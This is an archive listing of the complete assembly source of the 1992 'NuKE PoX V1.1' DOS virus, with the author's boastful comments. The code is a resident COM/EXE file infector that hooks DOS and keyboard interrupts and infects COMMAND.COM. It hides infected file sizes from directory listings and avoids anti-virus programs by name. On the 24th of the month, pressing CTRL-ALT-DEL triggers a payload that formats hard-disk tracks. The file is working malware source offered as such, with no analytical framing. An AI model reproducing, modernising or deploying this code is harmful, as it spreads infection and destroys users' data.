home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-P.ZIP / POX2.ASM < prev    next >
Assembly Source File  |  1992-09-16  |  38KB  |  498 lines

  1. ;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
  2. ;-*      (c) Rock Steady, Viral Developments                             -*
  3. ;*-      (c) NuKE Software Developement  1991, 1992                      *-
  4. ;-*  Virus: NuKE PoX Version 1.1  (Alias: Evil Genius, NPox)             -*
  5. ;*-  ~~~~~~                                                              *-
  6. ;-*  Notes: Resident EXE & COM Infecting, Memory Stealth, Directory      -*
  7. ;*-  ~~~~~~ Stealth (FCB Method), Anti-Viral Products Aware, Infects     *-
  8. ;-*         COMMAND.COM on first Run, CTRL-ALT-DEL Aware...              -*
  9. ;*-  Bytes: 963 Bytes           Memory: 963 Bytes                        *-
  10. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
  11. virus_size      equ     last - init_virus                                  
  12. mut1            equ     3                                                  
  13. mut2            equ     1                                                  
  14. mut3            equ     103h                                               
  15. del_code        equ     53h                                                
  16.                                                                            
  17. seg_a           segment byte public                                        
  18.                 assume  cs:seg_a, ds:seg_a                                 
  19.                 org     100h                                               
  20. rocko           proc    far                                                
  21.                                                                            
  22. start:          jmp     init_virus                                         
  23. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
  24. ;                       Virus Begins Here...                               
  25. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
  26. init_virus:                                                                
  27.                 call    doit_now               ;Doit VirusMan...           
  28.                                                                            
  29. doit_now:       pop     bp                     ;Not to Lose Track          
  30.                 sub     bp,106h                ;Set our position           
  31.                 push    ax                     ;Save all the registers     
  32.                 push    bx                                                 
  33.                 push    cx                                                 
  34.                 push    dx                                                 
  35.                 push    si                                                 
  36.                 push    di                                                 
  37.                 push    bp                                                 
  38.                 push    es                                                 
  39.                 push    ds                                                 
  40.                                                                            
  41.                 mov     ax,7bcdh               ;Are we resident Already?   
  42.                 int     21h                                                
  43.                 cmp     bx,7bcdh               ;Yupe... Quit Then...       
  44.                 je      exit_com                                           
  45.                                                                            
  46.                 xor     bx,bx                                              
  47.                 push    cs                     ;Get CS=DS                  
  48.                 pop     ds                                                 
  49.                 mov     cx,es                                              
  50.                                                                            
  51.                 mov     ax,3509h               ;Hook Int 9 Please...       
  52.                 int     21h                                                
  53.                 mov     word ptr cs:[int9+2][bp],es                        
  54.                 mov     word ptr cs:[int9][bp],bx                          
  55.                                                                            
  56.                 mov     ax,3521h               ;Sometimes tend to intercept
  57.                 int     21h                    ;This Interrupt...          
  58.                 mov     word ptr cs:[int21+2][bp],es    ;Save the Int      
  59.                 mov     word ptr cs:[int21][bp],bx      ;Vector Table      
  60.                                                                            
  61.                 dec     cx                     ;Get a new Memory block     
  62.                 mov     es,cx                  ;Put it Back to ES          
  63.                 mov     bx,es:mut1                                         
  64.                 mov     dx,virus_size          ;Size to `Hide'             
  65.                 mov     cl,4                   ;And all this crap hides    
  66.                 shr     dx,cl                  ;your number od bytes in DX 
  67.                 add     dx,4                                               
  68.                 mov     cx,es                                              
  69.                 sub     bx,dx                                              
  70.                 inc     cx                                                 
  71.                 mov     es,cx                                              
  72.                 mov     ah,4ah                 ;Call int to do it...       
  73.                 int     21h                                                
  74.                                                                            
  75.                 jc      exit_com                                           
  76.                 mov     ah,48h                                             
  77.                 dec     dx                                                 
  78.                 mov     bx,dx                  ;It's Done... Yeah!         
  79.                 int     21h                                                
  80.                                                                            
  81.                 jc      exit_com                                           
  82.                 dec     ax                                                 
  83.                 mov     es,ax                                              
  84.                 mov     cx,8h                  ;Here we move our Virus into
  85.                 mov     es:mut2,cx             ;the `Hidden' memory!       
  86.                 sub     ax,0fh                                             
  87.                 mov     di,mut3                                            
  88.                 mov     es,ax                                              
  89.                 mov     si,bp                                              
  90.                 add     si,offset init_virus                               
  91.                 mov     cx,virus_size                                      
  92.                 cld                                                        
  93.                 repne   movsb                                              
  94.                                                                            
  95.                 mov     ax,2521h                ;Restore Int21 with ours   
  96.                 mov     dx,offset int21_handler ;Where it starts           
  97.                 push    es                                                 
  98.                 pop     ds                                                 
  99.                 int     21h                                                
  100.                                                                            
  101.                 mov     ax,2509h               ;Restore Int9 with ours     
  102.                 mov     dx,offset int9_handler ;The Handler...             
  103.                 int     21h                                                
  104.                                                                            
  105.                 push    cs                                                 
  106.                 pop     ds                                                 
  107. exit_com:                                                                  
  108.                 cmp     word ptr cs:[buffer][bp],5A4Dh                     
  109.                 je      exit_exe_file          ;Its an EXE file...         
  110.                 mov     bx,offset buffer       ;Its a COM file restore     
  111.                 add     bx,bp                  ;First three Bytes...       
  112.                 mov     ax,[bx]                ;Mov the Byte to AX         
  113.                 mov     word ptr ds:[100h],ax  ;First two bytes Restored   
  114.                 add     bx,2                   ;Get the next Byte          
  115.                 mov     al,[bx]                ;Move the Byte to AL        
  116.                 mov     byte ptr ds:[102h],al  ;Restore the Last of 3 Bytes
  117.                 pop     ds                                                 
  118.                 pop     es                                                 
  119.                 pop     bp                     ;Restore Regesters          
  120.                 pop     di                                                 
  121.                 pop     si                                                 
  122.                 pop     dx                                                 
  123.                 pop     cx                                                 
  124.                 pop     bx                                                 
  125.                 pop     ax                                                 
  126.                 mov     ax,100h                ;Jump Back to Beginning     
  127.                 push    ax                     ;Restores our IP (a CALL    
  128.                 retn                           ;Saves them, now we changed 
  129. int21           dd      ?                      ;Our Old Int21              
  130. int9            dd      ?                      ;Our Old Int9               
  131.                                                                            
  132. exit_exe_file:                                                             
  133.                 mov     bx,word ptr cs:[buffer+22][bp]  ;Load CS Regester  
  134.                 mov     dx,cs                                              
  135.                 sub     dx,bx                                              
  136.                 mov     ax,dx                                              
  137.                 add     ax,word ptr cs:[exe_cs][bp]        ;Get original CS
  138.                 add     dx,word ptr cs:[exe_ss][bp]        ;Get original SS
  139.                 mov     bx,word ptr cs:[exe_ip][bp]        ;Get original IP
  140.                 mov     word ptr cs:[fuck_yeah][bp],bx     ;Restore IP     
  141.                 mov     word ptr cs:[fuck_yeah+2][bp],ax   ;Restore CS     
  142.                 mov     ax,word ptr cs:[exe_sp][bp]        ;Get original SP
  143.                 mov     word ptr cs:[Rock_Fix1][bp],dx     ;Restore SS     
  144.                 mov     word ptr cs:[Rock_Fix2][bp],ax     ;Restore SP     
  145.                 pop     ds                                                 
  146.                 pop     es                                                 
  147.                 pop     bp                                                 
  148.                 pop     di                                                 
  149.                 pop     si                                                 
  150.                 pop     dx                                                 
  151.                 pop     cx                                                 
  152.                 pop     bx                                                 
  153.                 pop     ax                                                 
  154.                 db      0B8h                   ;This is now a MOV AX,XXXX  
  155. Rock_Fix1:                                     ;XXXX is the original SS    
  156.                 dw      0                      ;Our XXXX Value             
  157.                 cli                            ;Disable Interrupts         
  158.                 mov     ss,ax                  ;Mov it to SS               
  159.                 db      0BCh                   ;This is now a MOV SP,XXXX  
  160. Rock_Fix2:                                                                 
  161.                 dw      0                      ;The XXXX Value for SP      
  162.                 sti                            ;Enable interrupts          
  163.                 db      0EAh                   ;JMP XXXX:YYYY              
  164. fuck_yeah:                                                                 
  165.                 dd      0                      ;Dword IP:CS (Reverse order!
  166. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
  167. ;                       Int 9 Handler                                      
  168. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
  169. int9_handler:                                  ;Every TIME a KEY is pressed
  170.                 push    ax                     ;This ROUTINE is called!    
  171.                 in      al,60h                 ;Has the user attempted a   
  172.                 cmp     al,del_code            ;CTRL-ALT-DEL               
  173.                 je      warm_reboot            ;Yes! Screw him             
  174. bye_bye:        pop     ax                                                 
  175.                 jmp     dword ptr cs:[int9]    ;Nope, Leave system alone   
  176. warm_reboot:                                                               
  177.                 mov     ah,2ah                 ;Get Date Please            
  178.                 int     21h                                                
  179.                 cmp     dl,18h                 ;Is it 24th of the Month?   
  180.                 jne     bye_bye                ;Yes, bye_Bye HD            
  181.                 mov     ch,0                                               
  182. hurt_me:        mov     ah,05h                                             
  183.                 mov     dh,0                                               
  184.                 mov     dl,80h                 ;Formats a few tracks...    
  185.                 int     13h                    ;Hurts So good...           
  186.                 inc     ch                                                 
  187.                 cmp     ch,20h                                             
  188.                 loopne  hurt_me                                            
  189.                 db      0eah,0f0h,0ffh,0ffh,0ffh  ;Reboot!                 
  190.                 iret                                                       
  191. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
  192. ;                       Dir Handler                                        
  193. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
  194. dir_handler:                                                               
  195.                 pushf                                                      
  196.                 push    cs                                                 
  197.                 call    int21call              ;Get file Stats             
  198.                 test    al,al                  ;Good FCB?                  
  199.                 jnz     no_good                ;nope                       
  200.                 push    ax                                                 
  201.                 push    bx                                                 
  202.                 push    es                                                 
  203.                 mov     ah,51h                 ;Is this Undocmented? huh...
  204.                 int     21h                                                
  205.                                                                            
  206.                 mov     es,bx                                              
  207.                 cmp     bx,es:[16h]                                        
  208.                 jnz     not_infected           ;Not for us man...          
  209.                 mov     bx,dx                                              
  210.                 mov     al,[bx]                                            
  211.                 push    ax                                                 
  212.                 mov     ah,2fh                 ;Get file DTA               
  213.                 int     21h                                                
  214.                                                                            
  215.                 pop     ax                                                 
  216.                 inc     al                                                 
  217.                 jnz     fcb_okay                                           
  218.                 add     bx,7h                                              
  219. fcb_okay:       mov     ax,es:[bx+17h]                                     
  220.                 and     ax,1fh                 ;UnMask Seconds Field       
  221.                 xor     al,1dh                 ;Is in 58 seconds?          
  222.                 jnz     not_infected           ;Nope...                    
  223.                 and     byte ptr es:[bx+17h],0e0h                          
  224.                 sub     es:[bx+1dh],virus_size    ;Yes minus virus size    
  225.                 sbb     es:[bx+1fh],ax                                     
  226. not_infected:   pop     es                                                 
  227.                 pop     bx                                                 
  228.                 pop     ax                                                 
  229. no_good:        iret                                                       
  230. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
  231. ;                       Int 21 Handler                                     
  232. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
  233. int21_handler:                                                             
  234.                 cmp     ax,4b00h               ;File executed              
  235.                 je      execute                                            
  236.                 cmp     ah,11h                 ;Dir handler                
  237.                 je      dir_handler                                        
  238.                 cmp     ah,12h                 ;Next file Dir handler      
  239.                 je      dir_handler                                        
  240.                 cmp     ax,7bcdh               ;Virus testing              
  241.                 jne     int21call                                          
  242.                 jmp     execute                                            
  243. int21call:                                                                 
  244.                 jmp     dword ptr cs:[int21]   ;Split...                   
  245. execute:                                                                   
  246.                 push    ax                                                 
  247.                 push    bx                                                 
  248.                 push    cx                                                 
  249.                 push    dx                                                 
  250.                 push    si                                                 
  251.                 push    di                                                 
  252.                 push    es                                                 
  253.                 push    ds                                                 
  254.                                                                            
  255.                 cmp     ax,7bcdh               ;Was Virus testing if it was
  256.                 jne     continue               ;Alive? If No Continue      
  257.                 push    cs                                                 
  258.                 pop     ds                     ;If Yes, Check if COMMAND.CO
  259.                 mov     dx,offset command      ;Is infected! And return    
  260.                 jmp     continue2                                          
  261. continue:                                                                  
  262.                 call    check_name             ;Make sure file executed    
  263.                 jc      exit_now               ;Ain't a Anti-Viral program 
  264. continue2:                                     ;With the CRC-32 checkers   
  265.                 mov     ax,4300h               ;Get file Attribs           
  266.                 int     21h                                                
  267.                 jc      exit                                               
  268.                                                                            
  269.                 test    cl,1h                  ;Make sure there normal     
  270.                 jz      open_file              ;Okay there are             
  271.                 and     cl,0feh                ;Nope, Fix them...          
  272.                 mov     ax,4301h               ;Save them now              
  273.                 int     21h                                                
  274.                 jc      exit                                               
  275.                                                                            
  276. open_file:      mov     ax,3D02h                                           
  277.                 int     21h                    ;Open File to Infect please 
  278.                                                                            
  279.                 jc      exit                   ;Error Split                
  280.                 mov     bx,ax                  ;BX File handler            
  281.                 mov     ax,5700h               ;Get file TIME + DATE       
  282.                 int     21h                                                
  283.                                                                            
  284.                 mov     al,cl                                              
  285.                 or      cl,1fh                 ;Un mask Seconds            
  286.                 dec     cx                     ;60 seconds                 
  287.                 dec     cx                     ;58 seconds                 
  288.                 xor     al,cl                  ;Is it 58 seconds?          
  289.                 jz      exit                   ;File already infected      
  290.                                                                            
  291.                 push    cs                                                 
  292.                 pop     ds                                                 
  293.                 mov     word ptr ds:[old_time],cx       ;Save Time         
  294.                 mov     word ptr ds:[old_date],dx       ;Save Date         
  295.                                                                            
  296.                 mov     ah,3Fh                                             
  297.                 mov     cx,20h                                             
  298.                 mov     dx,offset ds:[buffer]  ;Read first 20h bytes       
  299.                 int     21h                                                
  300.                                                                            
  301.                 jc      exit_now               ;Error Split                
  302.                 mov     ax,4202h               ;Move file pointer to end of
  303.                 xor     cx,cx                  ;file...                    
  304.                 xor     dx,dx                                              
  305.                 int     21h                                                
  306.                                                                            
  307.                 jc      exit_now                       ;Error Split        
  308.                 cmp     word ptr cs:[buffer],5A4Dh     ;Is file an EXE?    
  309.                 je      exe_file                       ;JMP to EXE Infector
  310.                 mov     cx,ax                                              
  311.                 sub     cx,3                           ;Set the JMP        
  312.                 mov     word ptr cs:[jump_address+1],cx                    
  313.                 call    infect_me                      ;Infect!            
  314.                 jc      exit_now                       ;error split        
  315.                 mov     ah,40h                         ;Write back the firs
  316.                 mov     dx,offset ds:[jump_address]    ;bytes              
  317.                 mov     cx,3h                                              
  318.                 int     21h                                                
  319. exit_now:                                                                  
  320.                 mov     cx,word ptr cs:[old_time]      ;Restore old time   
  321.                 mov     dx,word ptr cs:[old_date]      ;Restore Old date   
  322.                 mov     ax,5701h                                           
  323.                 int     21h                                                
  324. exit_now2:                                                                 
  325.                 mov     ah,3Eh                                             
  326.                 int     21h                     ;Close File now...         
  327. exit:                                                                      
  328.                 pop     ds                                                 
  329.                 pop     es                                                 
  330.                 pop     di                                                 
  331.                 pop     si                                                 
  332.                 pop     dx                                                 
  333.                 pop     cx                                                 
  334.                 pop     bx                                                 
  335.                 pop     ax                                                 
  336.                 cmp     ax,7bcdh                ;Virus checking if alive   
  337.                 jne     leave_now               ;No, Exit normally         
  338.                 mov     bx,ax                   ;Yes, Fix BX with codez    
  339. leave_now:                                                                 
  340.                 jmp     dword ptr cs:[int21]    ;Jmp back to whatever      
  341. exe_file:                                                                  
  342.                 mov     cx,word ptr cs:[buffer+20]     ;IP Regester        
  343.                 mov     word ptr cs:[exe_ip],cx        ;Save IP Regester   
  344.                 mov     cx,word ptr cs:[buffer+22]     ;CS Regester        
  345.                 mov     word ptr cs:[exe_cs],cx        ;Save CS Regester   
  346.                 mov     cx,word ptr cs:[buffer+16]     ;SP Regester        
  347.                 mov     word ptr cs:[exe_sp],cx        ;Save SP Regester   
  348.                 mov     cx,word ptr cs:[buffer+14]     ;SS Regester        
  349.                 mov     word ptr cs:[exe_ss],cx        ;Save SS Regester   
  350.                 push    ax                                                 
  351.                 push    dx                                                 
  352.                 call    multiply                       ;Figure a new CS:IP 
  353.                 sub     dx,word ptr cs:[buffer+8]                          
  354.                 mov     word ptr cs:[buffer+22],dx     ;Restore New CS     
  355.                 mov     word ptr cs:[buffer+20],ax     ;Restore New IP     
  356.                 pop     dx                                                 
  357.                 pop     ax                                                 
  358.                 add     ax,virus_size                                      
  359.                 adc     dx,0                                               
  360.                 push    ax                                                 
  361.                 push    dx                                                 
  362.                 call    multiply                      ;Figure a new SS:SP  
  363.                 sub     dx,word ptr cs:[buffer+8]     ;Exe Size (512 Usuall
  364.                 add     ax,40h                                             
  365.                 mov     word ptr cs:[buffer+14],dx    ;New SS Pointer      
  366.                 mov     word ptr cs:[buffer+16],ax    ;New SP Pointer      
  367.                 pop     dx                                                 
  368.                 pop     ax                                                 
  369.                                                                            
  370.                 push    bx                                                 
  371.                 push    cx                                                 
  372.                 mov     cl,7                          ;Fix for Header for  
  373.                 shl     dx,cl                         ;new file size in 512
  374.                                                       ;byte pages          
  375.                 mov     bx,ax                                              
  376.                 mov     cl,9                          ;And the remainder   
  377.                 shr     bx,cl                         ;after dividing by   
  378.                                                       ;512...              
  379.                 add     dx,bx                                              
  380.                 and     ax,1FFh                                            
  381.                 jz      outta_here                                         
  382.                 inc     dx                                                 
  383. outta_here:                                                                
  384.                 pop     cx                                                 
  385.                 pop     bx                                                 
  386.                                                                            
  387.                 mov     word ptr cs:[buffer+2],ax     ;Save Remainder      
  388.                 mov     word ptr cs:[buffer+4],dx     ;Save Size in 512 pag
  389.                 call    infect_me                     ;INFECT File! Yeah!  
  390.                 jc      exit_exe                                           
  391.                                                                            
  392.                 mov     ah,40h                  ;Write NEW EXE Header back 
  393.                 mov     dx,offset ds:[buffer]   ;to EXE File! Points to    
  394.                 mov     cx,20h                  ;The Virus Now!!! ehhe     
  395.                 int     21h                                                
  396. exit_exe:                                                                  
  397.                 jmp     exit_now                                           
  398.                                                                            
  399. rocko           endp                                                       
  400.                                                                            
  401. exe_ip          dw      0               ;Original IP,CS,SP,SS From EXE     
  402. exe_cs          dw      0               ;Header!                           
  403. exe_sp          dw      0                                                  
  404. exe_ss          dw      0                                                  
  405. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
  406. ;                   Infection Routine...                                   
  407. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
  408. infect_me       proc    near                                               
  409.                 mov     ah,40h                  ;Write the New Encrypted   
  410.                 mov     dx,offset init_virus    ;Virus to File!            
  411.                 mov     cx,virus_size                                      
  412.                 int     21h                                                
  413.                                                                            
  414.                 jc      exit_error              ;Error Split               
  415.                 mov     ax,4200h                                           
  416.                 xor     cx,cx                   ;Pointer back to beginning 
  417.                 xor     dx,dx                   ;file!                     
  418.                 int     21h                                                
  419.                                                                            
  420.                 jc      exit_error              ;Split Dude...             
  421.                 clc                             ;Clear carry flag          
  422.                 retn                                                       
  423. exit_error:                                                                
  424.                 stc                             ;Set carry flag            
  425.                 retn                                                       
  426. infect_me       endp                                                       
  427. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
  428. ;      Fix EXE Header...Gets new SS, CS Values for EXEs headers            
  429. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
  430. multiply                proc    near                                       
  431.                 push    bx                                                 
  432.                 push    cx                                                 
  433.                 mov     cl,0Ch                                             
  434.                 shl     dx,cl                                              
  435.                                                                            
  436.                 mov     bx,ax                                              
  437.                 mov     cl,4                                               
  438.                 shr     bx,cl                                              
  439.                                                                            
  440.                 add     dx,bx                                              
  441.                 and     ax,0Fh                                             
  442.                 pop     cx                                                 
  443.                 pop     bx                                                 
  444.                 retn                                                       
  445. multiply                endp                                               
  446. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
  447. ;       Check to see if an `Anti-Viral' Product is being executed.         
  448. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
  449. check_name              proc    near                                       
  450.                 push    si                                                 
  451.                 push    cx                                                 
  452.                                                                            
  453.                 mov     si,dx                                              
  454.                 mov     cx,128h                                            
  455. loop_me:                                                                   
  456.                 cmp     byte ptr ds:[si],2Eh    ;Find ASCIIZ String        
  457.                 je      next_ok                                            
  458.                 inc     si                                                 
  459.                 loop    loop_me                                            
  460. next_ok:                                                                   
  461.                 cmp     ds:[si-2],'TO'          ;Is it ??PROT.EXE (F-PROT) 
  462.                 jne     next_1                  ;Naaa                      
  463.                 cmp     ds:[si-4],'RP'                                     
  464.                 je      bad_file                ;Yupe...                   
  465. next_1:                                                                    
  466.                 cmp     ds:[si-2],'NA'          ;Is it SCAN.EXE (McAffee)  
  467.                 jne     next_2                  ;Naaa                      
  468.                 cmp     ds:[si-4],'CS'                                     
  469.                 je      bad_file                ;Yupe...                   
  470. next_2:                                                                    
  471.                 cmp     ds:[si-2],'NA'          ;is it ?LEAN.EXE (Clean.EXE
  472.                 jne     next_3                  ;Naaa                      
  473.                 cmp     ds:[si-4],'EL'                                     
  474.                 je      bad_file                ;Yupe...                   
  475. next_3:                                                                    
  476.                 pop     cx                                                 
  477.                 pop     si                      ;good file Set CARRY FLAG  
  478.                 clc                             ;to normal                 
  479.                 retn                                                       
  480. bad_file:                                                                  
  481.                 pop     cx                      ;Bad file, Set CARRY FLAG  
  482.                 pop     si                      ;ON!!!                     
  483.                 stc                                                        
  484.                 retn                                                       
  485. check_name              endp                                               
  486.                                                                            
  487. command         db      "C:\COMMAND.COM",0      ;What to infect!           
  488. old_time        dw      ?                                                  
  489. old_date        dw      ?                                                  
  490. jump_address    db      0E9h,90h,90h                                       
  491. buffer          db      90h,0CDh,020h                                      
  492.                 db      30h DUP (?)                                        
  493. msg             db      "NukE PoX V1.1 - R.S"                              
  494. last:                                                                      
  495. seg_a           ends                                                       
  496.                                                                            
  497.                 end     start                                              
  498.